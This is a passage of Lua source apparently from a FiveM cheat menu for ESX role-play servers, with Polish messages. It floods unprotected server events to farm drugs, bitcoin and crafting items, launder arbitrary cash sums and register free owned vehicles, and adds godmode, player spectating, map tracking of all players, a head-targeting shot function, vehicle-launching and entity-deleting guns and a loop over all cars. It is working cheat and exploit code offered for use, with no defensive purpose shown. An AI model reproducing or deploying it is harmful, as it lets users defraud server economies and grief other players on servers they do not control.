  6110. TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
  6111. TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
  6112. TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
  6113. TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
  6114. end
  6115.  
  6116. function trgrz()
  6117. TriggerServerEvent('esx_grzyb:startTransformgrzyb')
  6118. TriggerServerEvent('esx_grzyb:startTransformgrzyb')
  6119. TriggerServerEvent('esx_grzyb:startTransformgrzyb')
  6120. TriggerServerEvent('esx_grzyb:startTransformgrzyb')
  6121. TriggerServerEvent('esx_grzyb:startTransformgrzyb')
  6122. end
  6123.  
  6124. function srgrz()
  6125. TriggerServerEvent('esx_grzyb:startSellgrzyb')
  6126. TriggerServerEvent('esx_grzyb:startSellgrzyb')
  6127. TriggerServerEvent('esx_grzyb:startSellgrzyb')
  6128. TriggerServerEvent('esx_grzyb:startSellgrzyb')
  6129. TriggerServerEvent('esx_grzyb:startSellgrzyb')
  6130. TriggerServerEvent('esx_grzyb:startSellgrzyb')
  6131. end
  6132.  
  6133. function harvestbitcoin()
  6134. TriggerServerEvent('esx_bitcoin:startHarvestKoda')
  6135. TriggerServerEvent('esx_bitcoin:startHarvestKoda')
  6136. TriggerServerEvent('esx_bitcoin:startHarvestKoda')
  6137. TriggerServerEvent('esx_bitcoin:startHarvestKoda')
  6138. TriggerServerEvent('esx_bitcoin:startHarvestKoda')
  6139. end
  6140.  
  6141. function sellbitcoin()
  6142. TriggerServerEvent('esx_bitcoin:startSellKoda')
  6143. TriggerServerEvent('esx_bitcoin:startSellKoda')
  6144. TriggerServerEvent('esx_bitcoin:startSellKoda')
  6145. TriggerServerEvent('esx_bitcoin:startSellKoda')
  6146. TriggerServerEvent('esx_bitcoin:startSellKoda')
  6147. end
  6148.  
  6149. function harvestgazbottle()
  6150. TriggerServerEvent('esx_mechanicjob:startHarvest')
  6151. TriggerServerEvent('esx_mechanicjob:startHarvest')
  6152. TriggerServerEvent('esx_mechanicjob:startHarvest')
  6153. TriggerServerEvent('esx_mechanicjob:startHarvest')
  6154. TriggerServerEvent('esx_mechanicjob:startHarvest')
  6155. end
  6156.  
  6157. function craftgazbottle()
  6158. TriggerServerEvent('esx_mechanicjob:startCraft')
  6159. TriggerServerEvent('esx_mechanicjob:startCraft')
  6160. TriggerServerEvent('esx_mechanicjob:startCraft')
  6161. TriggerServerEvent('esx_mechanicjob:startCraft')
  6162. TriggerServerEvent('esx_mechanicjob:startCraft')
  6163. end
  6164.  
  6165. function harvestrepairkits()
  6166. TriggerServerEvent('esx_mechanicjob:startHarvest2')
  6167. TriggerServerEvent('esx_mechanicjob:startHarvest2')
  6168. TriggerServerEvent('esx_mechanicjob:startHarvest2')
  6169. TriggerServerEvent('esx_mechanicjob:startHarvest2')
  6170. TriggerServerEvent('esx_mechanicjob:startHarvest2')
  6171. end
  6172.  
  6173. function craftrepairkits()
  6174. TriggerServerEvent('esx_mechanicjob:startCraft2')
  6175. TriggerServerEvent('esx_mechanicjob:startCraft2')
  6176. TriggerServerEvent('esx_mechanicjob:startCraft2')
  6177. TriggerServerEvent('esx_mechanicjob:startCraft2')
  6178. TriggerServerEvent('esx_mechanicjob:startCraft2')
  6179. end
  6180.  
  6181. function harvestbodykits()
  6182. TriggerServerEvent('esx_mechanicjob:startHarvest3')
  6183. TriggerServerEvent('esx_mechanicjob:startHarvest3')
  6184. TriggerServerEvent('esx_mechanicjob:startHarvest3')
  6185. TriggerServerEvent('esx_mechanicjob:startHarvest3')
  6186. TriggerServerEvent('esx_mechanicjob:startHarvest3')
  6187. end
  6188.  
  6189. function selldrugs()
  6190. TriggerServerEvent('sellDrugs')
  6191. TriggerServerEvent('sellDrugs')
  6192. TriggerServerEvent('sellDrugs')
  6193. TriggerServerEvent('sellDrugs')
  6194. TriggerServerEvent('sellDrugs')
  6195. TriggerServerEvent('sellDrugs')
  6196. TriggerServerEvent('sellDrugs')
  6197. TriggerServerEvent('sellDrugs')
  6198. TriggerServerEvent('sellDrugs')
  6199. TriggerServerEvent('sellDrugs')
  6200. end
  6201.  
  6202. function craftbodykits()
  6203. TriggerServerEvent('esx_mechanicjob:startCraft3')
  6204. TriggerServerEvent('esx_mechanicjob:startCraft3')
  6205. TriggerServerEvent('esx_mechanicjob:startCraft3')
  6206. TriggerServerEvent('esx_mechanicjob:startCraft3')
  6207. TriggerServerEvent('esx_mechanicjob:startCraft3')
  6208. end
  6209.  
  6210. function rmatanumaispalarufe()
  6211. TriggerServerEvent('esx_drugs:stopHarvestCoke')
  6212. TriggerServerEvent('esx_drugs:stopTransformCoke')
  6213. TriggerServerEvent('esx_drugs:stopSellCoke')
  6214. TriggerServerEvent('esx_drugs:stopHarvestMeth')
  6215. TriggerServerEvent('esx_drugs:stopTransformMeth')
  6216. TriggerServerEvent('esx_drugs:stopSellMeth')
  6217. TriggerServerEvent('esx_drugs:stopHarvestWeed')
  6218. TriggerServerEvent('esx_drugs:stopTransformWeed')
  6219. TriggerServerEvent('esx_drugs:stopSellWeed')
  6220. TriggerServerEvent('esx_drugs:stopHarvestOpium')
  6221. TriggerServerEvent('esx_drugs:stopTransformOpium')
  6222. TriggerServerEvent('esx_drugs:stopSellOpium')
  6223. TriggerServerEvent('esx_grzyb:stopHarvestgrzyb')
  6224. TriggerServerEvent('esx_grzyb:stopTransformgrzyb')
  6225. TriggerServerEvent('esx_grzyb:stopSellgrzyb')
  6226. TriggerServerEvent('esx_bitcoin:stopHarvestKoda')
  6227. TriggerServerEvent('esx_bitcoin:stopSellKoda')
  6228. TriggerServerEvent('esx_mechanicjob:stopHarvest')
  6229. TriggerServerEvent('esx_mechanicjob:stopCraft')
  6230. TriggerServerEvent('esx_mechanicjob:stopHarvest2')
  6231. TriggerServerEvent('esx_mechanicjob:stopCraft2')
  6232. TriggerServerEvent('esx_mechanicjob:stopHarvest3')
  6233. TriggerServerEvent('esx_mechanicjob:stopCraft3')
  6234. av('~b~Wszystko zostalo zatrzymane :D.', false)
  6235. end
  6236.  
  6237. function pralniabr()
  6238. local kwota = KeyboardInput('Wpisz ilosc kasy do wyprania', '', 100)
  6239. if kwota ~= '' then
  6240. TriggerServerEvent("esx_godirtyjob:pay", kwota)
  6241. TriggerServerEvent('esx_moneywash:washMoney', kwota)
  6242. TriggerServerEvent('esx_blanchisseur:washMoney', kwota)
  6243. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6244. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6245. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6246. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6247. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6248. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6249. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6250. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6251. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6252. TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
  6253. end
  6254. end
  6255. local function cv()
  6256. local cb = KeyboardInput('Wprowadz nazwe pojazdu', '', 100)
  6257. local cw = KeyboardInput('Wprowadz tablice rejestracyjna', '', 100)
  6258. if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
  6259. RequestModel(cb)
  6260. while not HasModelLoaded(cb) do
  6261. Citizen.Wait(0)
  6262. end
  6263. local veh =
  6264. CreateVehicle(
  6265. GetHashKey(cb),
  6266. GetEntityCoords(PlayerPedId(-1)),
  6267. GetEntityHeading(PlayerPedId(-1)),
  6268. true,
  6269. true
  6270. )
  6271. SetVehicleNumberPlateText(veh, cw)
  6272. local cx = ESX.Game.GetVehicleProperties(veh)
  6273. TriggerServerEvent('esx_vehicleshop:setVehicleOwned', cx)
  6274. av('~g~~h~Gotowe', false)
  6275. else
  6276. av('~b~~h~Nie ma takiego pojazdu!', true)
  6277. end
  6278. end
  6279.  
  6280. function daojosdinpatpemata()
  6281. local ax = GetPlayerPed(-1)
  6282. local ay = GetVehiclePedIsIn(ax, true)
  6283. if
  6284. IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
  6285. GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1)
  6286. then
  6287. SetVehicleOnGroundProperly(ay)
  6288. av('~g~Pojazd Obrocony!', false)
  6289. else
  6290. av("~b~Nie jestes w pojezdzie!", true)
  6291. end
  6292. end
  6293.  
  6294. function stringsplit(cy, cz)
  6295. if cz == nil then
  6296. cz = '%s'
  6297. end
  6298. local cA = {}
  6299. i = 1
  6300. for cB in string.gmatch(cy, '([^' .. cz .. ']+)') do
  6301. cA[i] = cB
  6302. i = i + 1
  6303. end
  6304. return cA
  6305. end
  6306. local cC = false
  6307.  
  6308. function SpectatePlayer(cD)
  6309. local ax = PlayerPedId(-1)
  6310. cC = not cC
  6311. local cE = GetPlayerPed(cD)
  6312. if cC then
  6313. local cF, cG, cH = table.unpack(GetEntityCoords(cE, false))
  6314. RequestCollisionAtCoord(cF, cG, cH)
  6315. NetworkSetInSpectatorMode(true, cE)
  6316. av('Obserwowanie ' .. GetPlayerName(cD), false)
  6317. else
  6318. local cF, cG, cH = table.unpack(GetEntityCoords(cE, false))
  6319. RequestCollisionAtCoord(cF, cG, cH)
  6320. NetworkSetInSpectatorMode(false, cE)
  6321. av('Stopowanie Obserwowania ' .. GetPlayerName(cD), false)
  6322. end
  6323. end
  6324.  
  6325. function ShootPlayer(cD)
  6326. local head = GetPedBoneCoords(cD, GetEntityBoneIndexByName(cD, 'SKEL_HEAD'), 0.0, 0.0, 0.0)
  6327. SetPedShootsAtCoord(PlayerPedId(-1), head.x, head.y, head.z, true)
  6328. end
  6329.  
  6330. function MaxOut(veh)
  6331. SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  6332. SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7)
  6333. SetVehicleMod(
  6334. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6335. 0,
  6336. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1,
  6337. false
  6338. )
  6339. SetVehicleMod(
  6340. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6341. 1,
  6342. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1,
  6343. false
  6344. )
  6345. SetVehicleMod(
  6346. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6347. 2,
  6348. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1,
  6349. false
  6350. )
  6351. SetVehicleMod(
  6352. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6353. 3,
  6354. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1,
  6355. false
  6356. )
  6357. SetVehicleMod(
  6358. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6359. 4,
  6360. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1,
  6361. false
  6362. )
  6363. SetVehicleMod(
  6364. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6365. 5,
  6366. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1,
  6367. false
  6368. )
  6369. SetVehicleMod(
  6370. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6371. 6,
  6372. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1,
  6373. false
  6374. )
  6375. SetVehicleMod(
  6376. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6377. 7,
  6378. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1,
  6379. false
  6380. )
  6381. SetVehicleMod(
  6382. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6383. 8,
  6384. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1,
  6385. false
  6386. )
  6387. SetVehicleMod(
  6388. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6389. 9,
  6390. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1,
  6391. false
  6392. )
  6393. SetVehicleMod(
  6394. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6395. 10,
  6396. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1,
  6397. false
  6398. )
  6399. SetVehicleMod(
  6400. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6401. 11,
  6402. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1,
  6403. false
  6404. )
  6405. SetVehicleMod(
  6406. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6407. 12,
  6408. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1,
  6409. false
  6410. )
  6411. SetVehicleMod(
  6412. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6413. 13,
  6414. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1,
  6415. false
  6416. )
  6417. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
  6418. SetVehicleMod(
  6419. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6420. 15,
  6421. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2,
  6422. false
  6423. )
  6424. SetVehicleMod(
  6425. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6426. 16,
  6427. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1,
  6428. false
  6429. )
  6430. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
  6431. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
  6432. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
  6433. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
  6434. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
  6435. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
  6436. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
  6437. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
  6438. SetVehicleMod(
  6439. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6440. 25,
  6441. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1,
  6442. false
  6443. )
  6444. SetVehicleMod(
  6445. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6446. 27,
  6447. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1,
  6448. false
  6449. )
  6450. SetVehicleMod(
  6451. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6452. 28,
  6453. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1,
  6454. false
  6455. )
  6456. SetVehicleMod(
  6457. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6458. 30,
  6459. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1,
  6460. false
  6461. )
  6462. SetVehicleMod(
  6463. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6464. 33,
  6465. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1,
  6466. false
  6467. )
  6468. SetVehicleMod(
  6469. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6470. 34,
  6471. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1,
  6472. false
  6473. )
  6474. SetVehicleMod(
  6475. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6476. 35,
  6477. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1,
  6478. false
  6479. )
  6480. SetVehicleMod(
  6481. GetVehiclePedIsIn(GetPlayerPed(-1), false),
  6482. 38,
  6483. GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1,
  6484. true
  6485. )
  6486. SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1)
  6487. SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
  6488. SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5)
  6489. SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 0, true)
  6490. SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 1, true)
  6491. SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 2, true)
  6492. SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 3, true)
  6493. SetVehicleNeonLightsColour(GetVehiclePedIsIn(GetPlayerPed(-1)), 222, 222, 255)
  6494. end
  6495.  
  6496. function DelVeh(veh)
  6497. SetEntityAsMissionEntity(Object, 1, 1)
  6498. DeleteEntity(Object)
  6499. SetEntityAsMissionEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, 1)
  6500. DeleteEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false))
  6501. end
  6502.  
  6503. function Clean(veh)
  6504. SetVehicleDirtLevel(veh, 15.0)
  6505. end
  6506.  
  6507. function Clean2(veh)
  6508. SetVehicleDirtLevel(veh, 1.0)
  6509. end
  6510.  
  6511. function RequestControl(entity)
  6512. local cI = 0
  6513. NetworkRequestControlOfEntity(entity)
  6514. while not NetworkHasControlOfEntity(entity) do
  6515. cI = cI + 100
  6516. Citizen.Wait(100)
  6517. if cI > 5000 then
  6518. av('Hung for 5 seconds, killing to prevent issues...', true)
  6519. end
  6520. end
  6521. end
  6522.  
  6523. function getEntity(cD)
  6524. local m, entity = GetEntityPlayerIsFreeAimingAt(cD, Citizen.ReturnResultAnyway())
  6525. return entity
  6526. end
  6527.  
  6528. function GetInputMode()
  6529. return Citizen.InvokeNative(0xA571D46727E2B718, 2) and 'MouseAndKeyboard' or 'GamePad'
  6530. end
  6531.  
  6532. function DrawSpecialText(cJ, cK)
  6533. SetTextEntry_2('STRING')
  6534. AddTextComponentString(cJ)
  6535. DrawSubtitleTimed(cK, 1)
  6536. end
  6537. local cL = true
  6538. local cM = false
  6539. local cN = true
  6540. local cO = true
  6541. Citizen.CreateThread(
  6542. function()
  6543. while true do
  6544. Wait(1)
  6545. for f = 0, 128 do
  6546. if NetworkIsPlayerActive(f) and GetPlayerPed(f) ~= GetPlayerPed(-1) then
  6547. ped = GetPlayerPed(f)
  6548. blip = GetBlipFromEntity(ped)
  6549. x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  6550. x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
  6551. distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2, y2, z2, true))
  6552. headId = Citizen.InvokeNative(0xBFEFE3321A3F5015, ped, GetPlayerName(f), false, false, '', false)
  6553. wantedLvl = GetPlayerWantedLevel(f)
  6554. if cM then
  6555. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, true)
  6556. if wantedLvl then
  6557. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, true)
  6558. Citizen.InvokeNative(0xCF228E2AA03099C3, headId, wantedLvl)
  6559. else
  6560. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
  6561. end
  6562. else
  6563. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
  6564. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 9, false)
  6565. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, false)
  6566. end
  6567. if cL then
  6568. if not DoesBlipExist(blip) then
  6569. blip = AddBlipForEntity(ped)
  6570. SetBlipSprite(blip, 1)
  6571. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
  6572. SetBlipNameToPlayerName(blip, f)
  6573. else
  6574. veh = GetVehiclePedIsIn(ped, false)
  6575. blipSprite = GetBlipSprite(blip)
  6576. if not GetEntityHealth(ped) then
  6577. if blipSprite ~= 274 then
  6578. SetBlipSprite(blip, 274)
  6579. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  6580. SetBlipNameToPlayerName(blip, f)
  6581. end
  6582. elseif veh then
  6583. vehClass = GetVehicleClass(veh)
  6584. vehModel = GetEntityModel(veh)
  6585. if vehClass == 15 then
  6586. if blipSprite ~= 422 then
  6587. SetBlipSprite(blip, 422)
  6588. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  6589. SetBlipNameToPlayerName(blip, f)
  6590. end
  6591. elseif vehClass == 16 then
  6592. if
  6593. vehModel == GetHashKey('besra') or vehModel == GetHashKey('hydra') or
  6594. vehModel == GetHashKey('lazer')
  6595. then
  6596. if blipSprite ~= 424 then
  6597. SetBlipSprite(blip, 424)
  6598. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  6599. SetBlipNameToPlayerName(blip, f)
  6600. end
  6601. elseif blipSprite ~= 423 then
  6602. SetBlipSprite(blip, 423)
  6603. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  6604. end
  6605. elseif vehClass == 14 then
  6606. if blipSprite ~= 427 then
  6607. SetBlipSprite(blip, 427)
  6608. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  6609. end
  6610. elseif
  6611. vehModel == GetHashKey('insurgent') or vehModel == GetHashKey('insurgent2') or
  6612. vehModel == GetHashKey('limo2')
  6613. then
  6614. if blipSprite ~= 426 then
  6615. SetBlipSprite(blip, 426)
  6616. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  6617. SetBlipNameToPlayerName(blip, f)
  6618. end
  6619. elseif vehModel == GetHashKey('rhino') then
  6620. if blipSprite ~= 421 then
  6621. SetBlipSprite(blip, 421)
  6622. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  6623. SetBlipNameToPlayerName(blip, f)
  6624. end
  6625. elseif blipSprite ~= 1 then
  6626. SetBlipSprite(blip, 1)
  6627. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
  6628. SetBlipNameToPlayerName(blip, f)
  6629. end
  6630. passengers = GetVehicleNumberOfPassengers(veh)
  6631. if passengers then
  6632. if not IsVehicleSeatFree(veh, -1) then
  6633. passengers = passengers + 1
  6634. end
  6635. ShowNumberOnBlip(blip, passengers)
  6636. else
  6637. HideNumberOnBlip(blip)
  6638. end
  6639. else
  6640. HideNumberOnBlip(blip)
  6641. if blipSprite ~= 1 then
  6642. SetBlipSprite(blip, 1)
  6643. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
  6644. SetBlipNameToPlayerName(blip, f)
  6645. end
  6646. end
  6647. SetBlipRotation(blip, math.ceil(GetEntityHeading(veh)))
  6648. SetBlipNameToPlayerName(blip, f)
  6649. SetBlipScale(blip, 0.85)
  6650. if IsPauseMenuActive() then
  6651. SetBlipAlpha(blip, 255)
  6652. else
  6653. x1, y1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  6654. x2, y2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
  6655. distance =
  6656. math.floor(math.abs(math.sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1) +
  6657. 900
  6658. if distance < 0 then
  6659. distance = 0
  6660. elseif distance > 255 then
  6661. distance = 255
  6662. end
  6663. SetBlipAlpha(blip, distance)
  6664. end
  6665. end
  6666. else
  6667. RemoveBlip(blip)
  6668. end
  6669. end
  6670. end
  6671. end
  6672. end
  6673. )
  6674. local cP = {
  6675. __gc = function(cQ)
  6676. if cQ.destructor and cQ.handle then
  6677. cQ.destructor(cQ.handle)
  6678. end
  6679. cQ.destructor = nil
  6680. cQ.handle = nil
  6681. end
  6682. }
  6683.  
  6684. function EnumerateEntities(cR, cS, cT)
  6685. return coroutine.wrap(
  6686. function()
  6687. local cU, f = cR()
  6688. if not f or f == 0 then
  6689. cT(cU)
  6690. return
  6691. end
  6692. local cQ = {
  6693. handle = cU,
  6694. destructor = cT
  6695. }
  6696. setmetatable(cQ, cP)
  6697. local cV = true
  6698. repeat
  6699. coroutine.yield(f)
  6700. cV, f = cS(cU)
  6701. until not cV
  6702. cQ.destructor, cQ.handle = nil, nil
  6703. cT(cU)
  6704. end
  6705. )
  6706. end
  6707.  
  6708. function EnumeratePeds()
  6709. return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
  6710. end
  6711.  
  6712. function EnumerateVehicles()
  6713. return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
  6714. end
  6715.  
  6716. function EnumerateObjects()
  6717. return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
  6718. end
  6719.  
  6720. function RotationToDirection(cW)
  6721. local cX = cW.z * 0.0174532924
  6722. local cY = cW.x * 0.0174532924
  6723. local cZ = math.abs(math.cos(cY))
  6724. return vector3(-math.sin(cX) * cZ, math.cos(cX) * cZ, math.sin(cY))
  6725. end
  6726.  
  6727. function OscillateEntity(entity, c_, d0, d1, d2)
  6728. if entity ~= 0 and entity ~= nil then
  6729. local d3 = (d0 - c_) * d1 * d1 - 2.0 * d1 * d2 * GetEntityVelocity(entity)
  6730. ApplyForceToEntity(entity, 3, d3.x, d3.y, d3.z + 0.1, 0.0, 0.0, 0.0, false, false, true, true, false, true)
  6731. end
  6732. end
  6733. local d4 = true
  6734. Citizen.CreateThread(
  6735. function()
  6736. while bw do
  6737. Citizen.Wait(0)
  6738. SetPlayerInvincible(PlayerId(), Godmode)
  6739. SetEntityInvincible(PlayerPedId(-1), Godmode)
  6740. SetEntityVisible(GetPlayerPed(-1), d4, 0)
  6741. if SuperJump then
  6742. SetSuperJumpThisFrame(PlayerId(-1))
  6743. end
  6744. if InfStamina then
  6745. RestorePlayerStamina(PlayerId(-1), 1.0)
  6746. end
  6747. if fastrun then
  6748. SetRunSprintMultiplierForPlayer(PlayerId(-1), 2.49)
  6749. SetPedMoveRateOverride(GetPlayerPed(-1), 2.15)
  6750. else
  6751. SetRunSprintMultiplierForPlayer(PlayerId(-1), 1.0)
  6752. SetPedMoveRateOverride(GetPlayerPed(-1), 1.0)
  6753. end
  6754. if VehicleGun then
  6755. local d5 = 'Freight'
  6756. local c0 = GetEntityCoords(GetPlayerPed(-1), true)
  6757. if IsPedInAnyVehicle(GetPlayerPed(-1), true) == false then
  6758. av('~g~Pistolet na pojazdy Wlaczony!~n~~w~Uzyj ~b~AP Pistol~n~~b~Wymierz ~w~i ~b~Strzel!', false)
  6759. GiveWeaponToPed(GetPlayerPed(-1), GetHashKey('WEAPON_APPISTOL'), 999999, false, true)
  6760. SetPedAmmo(GetPlayerPed(-1), GetHashKey('WEAPON_APPISTOL'), 999999)
  6761. if GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey('WEAPON_APPISTOL') then
  6762. if IsPedShooting(GetPlayerPed(-1)) then
  6763. while not HasModelLoaded(GetHashKey(d5)) do
  6764. Citizen.Wait(0)
  6765. RequestModel(GetHashKey(d5))
  6766. end
  6767. local veh =
  6768. CreateVehicle(
  6769. GetHashKey(d5),
  6770. c0.x + 5 * GetEntityForwardX(GetPlayerPed(-1)),
  6771. c0.y + 5 * GetEntityForwardY(GetPlayerPed(-1)),
  6772. c0.z + 2.0,
  6773. GetEntityHeading(GetPlayerPed(-1)),
  6774. true,
  6775. true
  6776. )
  6777. SetEntityAsNoLongerNeeded(veh)
  6778. SetVehicleForwardSpeed(veh, 150.0)
  6779. end
  6780. end
  6781. end
  6782. end
  6783. if DeleteGun then
  6784. local d6 = getEntity(PlayerId(-1))
  6785. if IsPedInAnyVehicle(GetPlayerPed(-1), true) == false then
  6786. av('~g~Usuwany Pistolet Wlaczony!~n~~w~Uzyj ~b~Pistolet~n~~b~Wymierz ~w~i ~b~strzel ~w~by usunac!')
  6787. GiveWeaponToPed(GetPlayerPed(-1), GetHashKey('WEAPON_PISTOL'), 999999, false, true)
  6788. SetPedAmmo(GetPlayerPed(-1), GetHashKey('WEAPON_PISTOL'), 999999)
  6789. if GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey('WEAPON_PISTOL') then
  6790. if IsPlayerFreeAiming(PlayerId(-1)) then
  6791. if IsEntityAPed(d6) then
  6792. if IsPedInAnyVehicle(d6, true) then
  6793. if IsControlJustReleased(1, 142) then
  6794. SetEntityAsMissionEntity(GetVehiclePedIsIn(d6, true), 1, 1)
  6795. DeleteEntity(GetVehiclePedIsIn(d6, true))
  6796. SetEntityAsMissionEntity(d6, 1, 1)
  6797. DeleteEntity(d6)
  6798. av('~g~Usuniete!')
  6799. end
  6800. else
  6801. if IsControlJustReleased(1, 142) then
  6802. SetEntityAsMissionEntity(d6, 1, 1)
  6803. DeleteEntity(d6)
  6804. av('~g~Usuniete!')
  6805. end
  6806. end
  6807. else
  6808. if IsControlJustReleased(1, 142) then
  6809. SetEntityAsMissionEntity(d6, 1, 1)
  6810. DeleteEntity(d6)
  6811. av('~g~Usuniete!')
  6812. end
  6813. end
  6814. end
  6815. end
  6816. end
  6817. end
  6818. if fuckallcars then
  6819. for ay in EnumerateVehicles() do
  6820. if not IsPedAPlayer(GetPedInVehicleSeat(ay, -1)) then
  6821. SetVehicleHasBeenOwnedByPlayer(ay, false)
